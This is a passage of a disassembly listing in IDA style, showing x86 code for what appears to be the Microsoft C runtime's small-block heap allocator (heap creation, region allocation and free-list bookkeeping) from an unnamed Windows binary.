a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_40EAC0 add esp, 0Ch test eax, eax jnz short loc_410182 lea eax, [ebp+var_122C] jmp short loc_4101CB ; --------------------------------------------------------------------------- loc_410182: ; CODE XREF: sub_4100DB+9Dj lea eax, [ebp+var_19C] push 104h push eax push ebx call dword_41804C ; GetModuleFileNameA cmp [ebp+var_19C], bl lea ecx, [ebp+var_19C] jz short loc_4101B6 loc_4101A3: ; CODE XREF: sub_4100DB+D9j mov al, [ecx] cmp al, 61h jl short loc_4101B1 cmp al, 7Ah jg short loc_4101B1 sub al, 20h mov [ecx], al loc_4101B1: ; CODE XREF: sub_4100DB+CCj ; sub_4100DB+D0j inc ecx cmp [ecx], bl jnz short loc_4101A3 loc_4101B6: ; CODE XREF: sub_4100DB+C6j lea eax, [ebp+var_19C] push eax lea eax, [ebp+var_122C] push eax call sub_40E4B0 pop ecx pop ecx loc_4101CB: ; CODE XREF: sub_4100DB+A5j cmp eax, ebx jz short loc_41020D push 2Ch push eax call sub_40E610 pop ecx cmp eax, ebx pop ecx jz short loc_41020D inc eax mov ecx, eax cmp [eax], bl jz short loc_4101F2 loc_4101E4: ; CODE XREF: sub_4100DB+115j cmp byte ptr [ecx], 3Bh jnz short loc_4101ED mov [ecx], bl jmp short loc_4101EE ; --------------------------------------------------------------------------- loc_4101ED: ; CODE XREF: sub_4100DB+10Cj inc ecx loc_4101EE: ; CODE XREF: sub_4100DB+110j cmp [ecx], bl jnz short loc_4101E4 loc_4101F2: ; CODE XREF: sub_4100DB+107j push 0Ah push ebx push eax call sub_40E0AC add esp, 0Ch cmp eax, 2 jz short loc_410220 cmp eax, 3 jz short loc_410220 cmp eax, 1 jz short loc_410220 loc_41020D: ; CODE XREF: sub_4100DB+5Cj ; sub_4100DB+F2j ... lea eax, [ebp+var_4] push eax call sub_4100AE cmp [ebp+var_4], 6 pop ecx sbb eax, eax add eax, 3 loc_410220: ; CODE XREF: sub_4100DB+3Ej ; sub_4100DB+126j ... pop ebx leave retn sub_4100DB endp ; =============== S U B R O U T I N E ======================================= sub_410223 proc near ; CODE XREF: sub_40EB84+5Ap arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_41813C ; HeapCreate test eax, eax mov dword_483424, eax jz short loc_410279 call sub_4100DB cmp eax, 3 mov dword_483428, eax jnz short loc_41025F push 3F8h call sub_410280 pop ecx jmp short loc_410269 ; --------------------------------------------------------------------------- loc_41025F: ; CODE XREF: sub_410223+2Dj cmp eax, 2 jnz short loc_41027C call sub_410DC7 loc_410269: ; CODE XREF: sub_410223+3Aj test eax, eax jnz short loc_41027C push dword_483424 call dword_418138 ; HeapDestroy loc_410279: ; CODE XREF: sub_410223+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_41027C: ; CODE XREF: sub_410223+3Fj ; sub_410223+48j push 1 pop eax retn sub_410223 endp ; =============== S U B R O U T I N E ======================================= sub_410280 proc near ; CODE XREF: sub_410223+34p arg_0 = dword ptr 4 push 140h push 0 push dword_483424 call dword_418110 ; RtlAllocateHeap test eax, eax mov dword_48341C, eax jnz short loc_41029D retn ; --------------------------------------------------------------------------- loc_41029D: ; CODE XREF: sub_410280+1Aj mov ecx, [esp+arg_0] and dword_483414, 0 and dword_483418, 0 push 1 mov dword_483410, eax mov dword_483420, ecx mov dword_483408, 10h pop eax retn sub_410280 endp ; =============== S U B R O U T I N E ======================================= sub_4102C8 proc near ; CODE XREF: sub_40CD81+17p ; sub_40DB08+4Cp ... arg_0 = dword ptr 4 mov eax, dword_483418 lea ecx, [eax+eax*4] mov eax, dword_48341C lea ecx, [eax+ecx*4] loc_4102D8: ; CODE XREF: sub_4102C8+26j cmp eax, ecx jnb short loc_4102F0 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_4102F2 add eax, 14h jmp short loc_4102D8 ; --------------------------------------------------------------------------- loc_4102F0: ; CODE XREF: sub_4102C8+12j xor eax, eax locret_4102F2: ; CODE XREF: sub_4102C8+21j retn sub_4102C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4102F3 proc near ; CODE XREF: sub_40CD81+23p ; sub_40DB08+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_410617 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_4103C9 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_410357 push 3Fh pop edx loc_410357: ; CODE XREF: sub_4102F3+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_4103AB cmp edx, 20h jnb short loc_410382 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_4103A3 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_4103A3 ; --------------------------------------------------------------------------- loc_410382: ; CODE XREF: sub_4102F3+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_4103A3 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_4103A3: ; CODE XREF: sub_4102F3+86j ; sub_4102F3+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_4103AE ; --------------------------------------------------------------------------- loc_4103AB: ; CODE XREF: sub_4102F3+6Aj mov ecx, [ebp+var_4] loc_4103AE: ; CODE XREF: sub_4102F3+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_4103C9: ; CODE XREF: sub_4102F3+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_4103D7 push 3Fh pop edx loc_4103D7: ; CODE XREF: sub_4102F3+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41047A sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_4103FC mov ebx, esi loc_4103FC: ; CODE XREF: sub_4102F3+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41040E mov edx, esi loc_41040E: ; CODE XREF: sub_4102F3+117j cmp ebx, edx jz short loc_410475 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41045D cmp ebx, 20h jnb short loc_41043E mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41045D mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41045D ; --------------------------------------------------------------------------- loc_41043E: ; CODE XREF: sub_4102F3+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41045D mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41045D: ; CODE XREF: sub_4102F3+128j ; sub_4102F3+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_410475: ; CODE XREF: sub_4102F3+11Dj mov esi, [ebp+arg_4] jmp short loc_41047D ; --------------------------------------------------------------------------- loc_41047A: ; CODE XREF: sub_4102F3+EDj mov ebx, [ebp+arg_0] loc_41047D: ; CODE XREF: sub_4102F3+185j cmp [ebp+var_C], 0 jnz short loc_41048B cmp ebx, edx jz loc_41050C loc_41048B: ; CODE XREF: sub_4102F3+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41050C mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_4104E3 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4104D2 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_4104D2: ; CODE XREF: sub_4102F3+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41050C ; --------------------------------------------------------------------------- loc_4104E3: ; CODE XREF: sub_4102F3+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4104F9 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_4104F9: ; CODE XREF: sub_4102F3+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41050C: ; CODE XREF: sub_4102F3+192j ; sub_4102F3+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_410617 mov eax, dword_483414 test eax, eax jz loc_410609 mov ecx, dword_48340C mov esi, dword_418140 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi ; VirtualFree mov ecx, dword_48340C mov eax, dword_483414 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_483414 mov ecx, dword_48340C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_483414 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_483414 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41059A and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_483414 loc_41059A: ; CODE XREF: sub_4102F3+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_410609 push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, dword_483414 push dword ptr [eax+10h] push 0 push dword_483424 call dword_418114 ; RtlFreeHeap mov eax, dword_483418 mov edx, dword_48341C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_483414 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_40D460 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_483418 cmp eax, dword_483414 jbe short loc_4105FF sub [ebp+arg_0], 14h loc_4105FF: ; CODE XREF: sub_4102F3+306j mov eax, dword_48341C mov dword_483410, eax loc_410609: ; CODE XREF: sub_4102F3+234j ; sub_4102F3+2ABj mov eax, [ebp+arg_0] mov dword_48340C, edi mov dword_483414, eax loc_410617: ; CODE XREF: sub_4102F3+38j ; sub_4102F3+227j pop edi pop esi pop ebx leave retn sub_4102F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41061C proc near ; CODE XREF: sub_40CD0D+18p ; sub_40DB08+77p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_483418 mov edx, dword_48341C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41065C or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41066C ; --------------------------------------------------------------------------- loc_41065C: ; CODE XREF: sub_41061C+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41066C: ; CODE XREF: sub_41061C+3Ej mov eax, dword_483410 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_410693 loc_41067A: ; CODE XREF: sub_41061C+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_410693 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41067A loc_410693: ; CODE XREF: sub_41061C+5Cj ; sub_41061C+6Aj cmp ebx, [ebp+var_4] jnz short loc_410711 mov ebx, edx loc_41069A: ; CODE XREF: sub_41061C+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_4106B6 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_4106B4 add ebx, 14h jmp short loc_41069A ; --------------------------------------------------------------------------- loc_4106B4: ; CODE XREF: sub_41061C+91j cmp ebx, eax loc_4106B6: ; CODE XREF: sub_41061C+83j jnz short loc_410711 loc_4106B8: ; CODE XREF: sub_41061C+ADj cmp ebx, [ebp+var_4] jnb short loc_4106CE cmp dword ptr [ebx+8], 0 jnz short loc_4106CB add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_4106B8 ; --------------------------------------------------------------------------- loc_4106CB: ; CODE XREF: sub_41061C+A5j cmp ebx, [ebp+var_4] loc_4106CE: ; CODE XREF: sub_41061C+9Fj jnz short loc_4106F6 mov ebx, edx loc_4106D2: ; CODE XREF: sub_41061C+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_4106E6 cmp dword ptr [ebx+8], 0 jnz short loc_4106E4 add ebx, 14h jmp short loc_4106D2 ; --------------------------------------------------------------------------- loc_4106E4: ; CODE XREF: sub_41061C+C1j cmp ebx, eax loc_4106E6: ; CODE XREF: sub_41061C+BBj jnz short loc_4106F6 call sub_410925 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41070A loc_4106F6: ; CODE XREF: sub_41061C:loc_4106CEj ; sub_41061C:loc_4106E6j push ebx call sub_4109D6 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_410711 loc_41070A: ; CODE XREF: sub_41061C+D8j xor eax, eax jmp loc_410920 ; --------------------------------------------------------------------------- loc_410711: ; CODE XREF: sub_41061C+7Aj ; sub_41061C:loc_4106B6j ... mov dword_483410, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_410738 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41076F loc_410738: ; CODE XREF: sub_41061C+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41076C loc_410755: ; CODE XREF: sub_41061C+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_410755 loc_41076C: ; CODE XREF: sub_41061C+137j mov edx, [ebp+var_4] loc_41076F: ; CODE XREF: sub_41061C+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_410798 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_410798: ; CODE XREF: sub_41061C+16Dj ; sub_41061C+183j test ecx, ecx jl short loc_4107A1 shl ecx, 1 inc edi jmp short loc_410798 ; --------------------------------------------------------------------------- loc_4107A1: ; CODE XREF: sub_41061C+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_4107BE push 3Fh pop esi loc_4107BE: ; CODE XREF: sub_41061C+19Dj cmp esi, edi jz loc_4108D3 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41082F cmp edi, 20h jge short loc_4107FE mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41082C mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41082F ; --------------------------------------------------------------------------- loc_4107FE: ; CODE XREF: sub_41061C+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41082C mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41082F ; --------------------------------------------------------------------------- loc_41082C: ; CODE XREF: sub_41061C+1D6j ; sub_41061C+203j mov ebx, [ebp+arg_0] loc_41082F: ; CODE XREF: sub_41061C+1B0j ; sub_41061C+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_4108DF mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_4108D0 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_4108A1 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41088F mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41088F: ; CODE XREF: sub_41061C+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_4108D0 ; --------------------------------------------------------------------------- loc_4108A1: ; CODE XREF: sub_41061C+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_4108BA lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_4108BA: ; CODE XREF: sub_41061C+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_4108D0: ; CODE XREF: sub_41061C+24Ej ; sub_41061C+283j mov ecx, [ebp+var_8] loc_4108D3: ; CODE XREF: sub_41061C+1A4j test ecx, ecx jz short loc_4108E2 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_4108E2 ; --------------------------------------------------------------------------- loc_4108DF: ; CODE XREF: sub_41061C+229j mov ecx, [ebp+var_8] loc_4108E2: ; CODE XREF: sub_41061C+2B9j ; sub_41061C+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_410918 cmp ebx, dword_483414 jnz short loc_410918 mov ecx, [ebp+var_4] cmp ecx, dword_48340C jnz short loc_410918 and dword_483414, 0 loc_410918: ; CODE XREF: sub_41061C+2E0j ; sub_41061C+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_410920: ; CODE XREF: sub_41061C+F0j pop edi pop esi pop ebx leave retn sub_41061C endp ; =============== S U B R O U T I N E ======================================= sub_410925 proc near ; CODE XREF: sub_41061C+CCp mov eax, dword_483418 mov ecx, dword_483408 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_410968 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_48341C push edi push dword_483424 call dword_41811C ; RtlReAllocateHeap cmp eax, edi jz short loc_4109B8 add dword_483408, 10h mov dword_48341C, eax mov eax, dword_483418 loc_410968: ; CODE XREF: sub_410925+11j mov ecx, dword_48341C push 41C4h push 8 lea eax, [eax+eax*4] push dword_483424 lea esi, [ecx+eax*4] call dword_418110 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_4109B8 push 4 push 2000h push 100000h push edi call dword_418144 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_4109BC push dword ptr [esi+10h] push edi push dword_483424 call dword_418114 ; RtlFreeHeap loc_4109B8: ; CODE XREF: sub_410925+30j ; sub_410925+67j xor eax, eax jmp short loc_4109D3 ; --------------------------------------------------------------------------- loc_4109BC: ; CODE XREF: sub_410925+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_483418 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_4109D3: ; CODE XREF: sub_410925+95j pop edi pop esi retn sub_410925 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109D6 proc near ; CODE XREF: sub_41061C+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_4109E8: ; CODE XREF: sub_4109D6+19j test eax, eax jl short loc_4109F1 shl eax, 1 inc ebx jmp short loc_4109E8 ; --------------------------------------------------------------------------- loc_4109F1: ; CODE XREF: sub_4109D6+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_410A06: ; CODE XREF: sub_4109D6+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_410A06 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_418144 ; VirtualAlloc test eax, eax jnz short loc_410A39 or eax, 0FFFFFFFFh jmp loc_410ACC ; --------------------------------------------------------------------------- loc_410A39: ; CODE XREF: sub_4109D6+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_410A7F lea eax, [edi+10h] loc_410A46: ; CODE XREF: sub_4109D6+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_410A46 loc_410A7F: ; CODE XREF: sub_4109D6+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_410ABC or [eax+4], edi loc_410ABC: ; CODE XREF: sub_4109D6+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_410ACC: ; CODE XREF: sub_4109D6+5Ej pop edi pop esi pop ebx leave retn sub_4109D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410AD1 proc near ; CODE XREF: sub_40DB08+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_410C7F test bl, 1 jnz loc_410C78 add ebx, ecx cmp esi, ebx jg loc_410C78 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_410B48 push 3Fh pop ecx mov [ebp+var_8], ecx loc_410B48: ; CODE XREF: sub_410AD1+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_410B98 cmp ecx, 20h jnb short loc_410B74 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_410B98 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_410B98 ; --------------------------------------------------------------------------- loc_410B74: ; CODE XREF: sub_410AD1+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_410B98 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_410B98: ; CODE XREF: sub_410AD1+7Dj ; sub_410AD1+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_410C66 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_410BD2 push 3Fh pop edi loc_410BD2: ; CODE XREF: sub_410AD1+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_410C54 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_410C2B cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_410C1E mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_410C1E: ; CODE XREF: sub_410AD1+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_410C50 ; --------------------------------------------------------------------------- loc_410C2B: ; CODE XREF: sub_410AD1+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_410C41 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_410C41: ; CODE XREF: sub_410AD1+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_410C50: ; CODE XREF: sub_410AD1+158j shr edx, cl or [eax], edx loc_410C54: ; CODE XREF: sub_410AD1+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_410C69 ; --------------------------------------------------------------------------- loc_410C66: ; CODE XREF: sub_410AD1+E5j mov edx, [ebp+arg_4] loc_410C69: ; CODE XREF: sub_410AD1+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_410DBF ; --------------------------------------------------------------------------- loc_410C78: ; CODE XREF: sub_410AD1+52j ; sub_410AD1+5Cj xor eax, eax jmp loc_410DC2 ; --------------------------------------------------------------------------- loc_410C7F: ; CODE XREF: sub_410AD1+49j jge loc_410DBF mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_410CAA push 3Fh pop esi loc_410CAA: ; CODE XREF: sub_410AD1+1D4j test byte ptr [ebp+var_4], 1 jnz loc_410D39 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_410CC3 push 3Fh pop esi loc_410CC3: ; CODE XREF: sub_410AD1+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_410D12 cmp esi, 20h jnb short loc_410CEE mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_410D0F mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_410D0F ; --------------------------------------------------------------------------- loc_410CEE: ; CODE 